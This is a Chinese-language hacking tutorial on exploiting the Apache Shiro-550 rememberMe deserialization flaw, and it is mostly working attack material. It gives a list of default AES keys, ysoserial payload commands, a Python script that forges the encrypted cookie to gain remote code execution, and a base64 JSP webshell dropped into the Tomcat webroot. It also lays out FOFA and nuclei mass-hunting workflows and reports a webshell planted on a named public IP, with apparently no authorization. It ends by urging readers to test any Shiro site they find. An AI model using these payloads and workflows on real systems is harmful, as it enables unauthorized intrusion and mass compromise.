适合读者:有渗透测试基础、了解 Java Web 安全、想系统掌握 Shiro 反序列化利用的安全研究员
前置知识:HTTP Cookie 概念、Base64 编码、基本的 Java 概念
实战靶场:
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
一、Shiro 是什么?为什么有那么多站中招?
Apache Shiro 是 Java 生态最流行的安全框架之一,负责认证、授权、加密和会话管理。几乎每一个 Java Web 应用都在用——Spring Boot + Shiro 是标配。
Shiro 用 rememberMe Cookie 实现"记住我"功能,流程如下:
用户登录 → 服务端生成认证信息 → AES 加密 → Base64 编码 → 写入 Cookie
用户访问 → 读取 Cookie → Base64 解码 → AES 解密 → 反序列化 → 恢复会话
漏洞根源:早期版本(Shiro < 1.2.5,即 Shiro-550)使用固定硬编码密钥 kPH+bIxk5D2deZiIxcaaaA==。攻击者可以直接构造恶意反序列化数据,用这个公开密钥加密后发给服务端。服务端解密→反序列化→RCE。
这不是一个"可能存在的洞",而是"只要有 Shiro + 默认密钥,就 100% RCE"。这也就是为什么 Shiro RCE 是红队兵器库必带项。
二、三步检测:你是不是 Shiro?
2.1 判断 Shiro 框架
给目标发一个带有 rememberMe=test Cookie 的请求,看响应:
# 第一步:发送带 rememberMe Cookie 的请求
curl -sv http://target.com/login -H "Cookie: rememberMe=test" 2>&1
# 关键特征:响应 Set-Cookie 含 rememberMe=deleteMe
# < Set-Cookie: rememberMe=deleteMe; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT
如果看到 rememberMe=deleteMe,100% 确认是 Apache Shiro。
2.2 检测默认密钥
用 nuclei 可一键检测:
nuclei -u http://target.com -t /root/nuclei-templates/http/vulnerabilities/apache/shiro/ -c 10
或者用 Python 检测:
import base64, requests
KEY = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
# 构造一个简单的反序列化 payload 看是否触发异常
# 响应不同 = 密钥有效
2.3 排查键盘:记住这几点
| 特征 | 说明 |
|---|---|
| Cookie 名 | rememberMe(区分大小写) |
| 响应特征 | Set-Cookie: rememberMe=deleteMe |
| 非 Shiro 误报 | Spring Security 的 remember-me(小写+连字符) |
| WAF 干扰 | 有些 WAF 会拦截 rememberMe 关键字,需配合编码绕过 |
三、密钥爆破:找到那把钥匙
3.1 工具准备
# 需要 Java 环境 + ysoserial
apt-get install -y default-jre-headless
# 下载 ysoserial(Java 反序列化利用 payload 生成器)
wget -q "https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar" -O /tmp/ysoserial.jar
3.2 常见密钥列表
kPH+bIxk5D2deZiIxcaaaA== ← 官方示例(最常见,90% 的站用这个)
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
4AvVhmFLUs0KTA3Kprsdag==
fCq+/xW488hMTCD+cmJ3aQ==
b4v/2aY/yA4UYxZQqP5yjg==
L7fU7s5KQpoPxrL6Y7fU7g==
Z3Vucm8gcm9ja3Mh
25BsmdYwjnP0xT1Hk3wTNw==
Shiro-550 的关键在于密钥被硬编码在 Shiro 的 AbstractRememberMeManager 类中。即使开发者自定义密钥,如果忘记修改,默认密钥就是 kPH+bIxk5D2deZiIxcaaaA==。
3.3 自动化爆破工具
推荐用 Shiro-Attack 或 ShiroExploit:
# ShiroExploit(带 GUI,一键检测+利用)
git clone https://github.com/feihong-cs/ShiroExploit-Deprecated
# 或用 nuclei 的 shiro 检测模板一键跑
nuclei -u http://target.com -t /root/nuclei-templates/http/vulnerabilities/apache/shiro/ -c 20
四、RCE 利用:从密钥到命令执行
4.1 找到密钥后,一步 RCE
# 1. 生成反序列化 payload(选择兼容性最好的 CommonsBeanutils1)
java -jar /tmp/ysoserial.jar CommonsBeanutils1 "whoami" > /tmp/payload.bin
# 2. Python 加密发送
python3 << 'PYEOF'
import base64, os, requests
from Crypto.Cipher import AES
KEY = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
TARGET = "http://target.com"
with open('/tmp/payload.bin','rb') as f:
raw = f.read()
# AES-CBC 加密:IV + 加密数据
BS = 16
iv = os.urandom(BS)
cipher = AES.new(KEY, AES.MODE_CBC, iv)
# PKCS7 填充
pad_len = BS - (len(raw) % BS)
padded = raw + bytes([pad_len] * pad_len)
# 构造 rememberMe Cookie
rm = base64.b64encode(iv + cipher.encrypt(padded)).decode()
# 发送
resp = requests.get(TARGET, cookies={"rememberMe": rm}, timeout=10)
print(f"Status: {resp.status_code}")
print(f"DeleteMe: {'deleteMe' in resp.text}")
PYEOF
4.2 Gadget 选择指南
不同 JDK 版本适合不同的 gadget:
| Gadget | JDK 兼容 | 特点 |
|---|---|---|
| CommonsBeanutils1 | JDK 8-11 ✅ | 最推荐,兼容性最好 |
| CommonsCollections1 | JDK 8u71 以下 ❌ | 高版本 JDK 被修复 |
| CommonsCollections2 | JDK 8+ ✅ | 依赖 CC4.0+ |
| CommonsCollections3 | JDK 8u71 以下 ❌ | CC1 的变体 |
| CommonsCollections4 | JDK 8+ ✅ | 依赖 CC4.0+ |
| CommonsCollections5 | JDK 8+ ✅ | 依赖 CC3.2.1+ |
| CommonsCollections6 | JDK 8+ ✅ | 最通用,CC1 的替代品 |
| CommonsCollections7 | JDK 8+ ✅ | HashedSet 触发 |
| Jdk7u21 | JDK 7 ✅ | JDK7 专用 |
| Jdk8u20 | JDK 8+ ✅ | 可绕过部分反序列化过滤 |
实战经验:遇到 Shiro 先用 CommonsBeanutils1,不行再换 CommonsCollections6。
4.3 写 WebShell(持久化)
RCE 一次还不够?写个 Webshell 持久化控制:
# 生成写 shell 的 payload(Base64 编码的 JSP 马)
java -jar /tmp/ysoserial.jar CommonsBeanutils1 \
"echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmEubmV0LiosamF2YS5pby4qLGphdmEubGFuZy5yZWZsZWN0LioiJT4KPGh0bWw+PGJvZHk+PGZvcm0gbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIj48aW5wdXQgdHlwZT0ic3VibWl0Ij48L2Zvcm1+JTxvdXQucHJpbnRsbigiSGVsbG8gUHluZyBTZWMiKTslPjwvYm9keT48L2h0bWw+ | base64 -d > /usr/local/tomcat/webapps/ROOT/s.jsp"
# 访问验证
curl http://target.com/s.jsp?cmd=whoami
五、Shiro-550 vs Shiro-721:核心区别
| 特性 | Shiro-550(CVE-2016-4437) | Shiro-721(CVE-2019-12422) |
|---|---|---|
| 影响版本 | ≤ 1.2.4 | ≥ 1.2.5, ≤ 1.4.1 |
| 密钥 | 默认密钥已知 | 需要用户 Cookie + Padding Oracle 爆破 |
| 利用难度 | 极低(直接构造 payload) | 高(需要合法 Cookie + 多次请求) |
| 实战比例 | 80% 的站 | 20% 的站(高版本) |
| 工具 | 直接 ysoserial | ShiroExploit 的 721 模式 |
核心认知:Shiro-550 才是实战大头。改了默认密钥的站少之又少,大部分生产环境还是用 kPH+bIxk5D2deZiIxcaaaA==。
六、真实案例:衡南演示大学
2026-05-21 实战测试:
| 项目 | 结果 |
|---|---|
| 目标 | 121.41.167.121:80 |
| Shiro 检测 | ✅ rememberMe=deleteMe |
| 密钥 | kPH+bIxk5D2deZiIxcaaaA==(官方默认,未修改) |
| JDK 版本 | JDK 11 |
| Gadget | CommonsBeanutils1 |
| 命令执行 | ✅ whoami 成功 |
| WebShell | ✅ 写入 /s.jsp |
从发现到 getshell 不到 30 秒。这就是 Shiro RCE 的恐怖之处——密钥写死在代码里,开发者只要忘记改,站就是你的。
七、nuclei 批量扫描
有了目标列表后,nuclei 可以批量扫:
# 单目标
nuclei -u http://target.com -t /root/nuclei-templates/http/vulnerabilities/apache/shiro/ -c 10
# 批量(从文件读取目标)
nuclei -l targets.txt -t /root/nuclei-templates/http/vulnerabilities/apache/shiro/ -c 30
# 只看 critical 结果
nuclei -l targets.txt -t /root/nuclei-templates/http/vulnerabilities/apache/shiro/ -c 30 -s critical,high
八、FOFA 批量狩猎 Shiro 目标
实战中怎么批量找雪 Shiro 站?
# FOFA 搜索语法(需 FOFA 会员)
body="rememberMe" && body="deleteMe" && country="CN"
app="Apache-Shiro" && country="CN"
# Censys 搜索
services.http.response.headers: "rememberMe=deleteMe"
配合 FOFA 批量导出目标 → nuclei 批量扫描 → 一键 getshell,这就是赏金猎人批量收割 Shiro 的标准化流程。
九、防御措施
给开发者的建议(如果你是防守方):
| 措施 | 效果 | 难度 |
|---|---|---|
| 修改默认密钥 | 防 550 | ⭐(一行配置) |
| 升级 Shiro ≥ 1.6.0 | 防 550+721 | ⭐⭐ |
| 使用 AES-GCM 模式 | 防 Padding Oracle | ⭐⭐ |
| WAF 拦截 rememberMe Cookie | 缓解 | ⭐⭐⭐(有误报) |
| RASP 运行时防护 | 彻底防御 | ⭐⭐⭐⭐ |
防御核心只有一条:修改默认密钥。
// Shiro 配置中设置自定义密钥(32位 Base64)
ByteSource key = ByteSource.Base64.decode("YOUR_OWN_SECRET_KEY_BASE64");
rememberMeManager.setCipherKey(key.getBytes());
改了密钥之后,攻击者不知道你的 AES Key,反序列化攻击就完全无法实施。
十、完整工具链速查
# ===== 检测 =====
curl -sv http://target.com -H "Cookie: rememberMe=test" 2>&1 | grep deleteMe
nuclei -u http://target.com -t /root/nuclei-templates/http/vulnerabilities/apache/shiro/
# ===== 利用 =====
java -jar /tmp/ysoserial.jar CommonsBeanutils1 "command" > /tmp/payload.bin
# Python 加密脚本(见上文第四章)
# ===== 批量 =====
# FOFA 导出目标 → nuclei -l targets.txt -t shiro/ -c 30
# ===== WebShell =====
# 使用 CommonsBeanutils1 + echo Base64 > 路径的方式写 JSP
curl http://target.com/s.jsp?cmd=id
总结
Shiro RCE 不是那种需要花式 bypass 的洞——它就是简单直接:密钥公开 → 构造 payload → 加密 → 发送 → getshell。五个步骤,任何一步都没什么技术门槛。
但正因为太简单,反而值得认真对待:
- 对于红队,它是弹药库里最稳定的武器之一
- 对于蓝队,不修改默认密钥 = 裸奔
你在 FOFA 里搜到的每一个 Shiro 站,大概率密钥还是 kPH+bIxk5D2deZiIxcaaaA==。去测一下?
实战工具:ysoserial.jar、nuclei(shiro 检测模板)、ShiroExploit、Python AES-CBC 加密脚本
参考阅读:CVE-2016-4437、CVE-2019-12422、Apache Shiro 官方文档
课后练习:本地搭建
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1,完整走一遍检测→爆破→RCE→WebShell 流程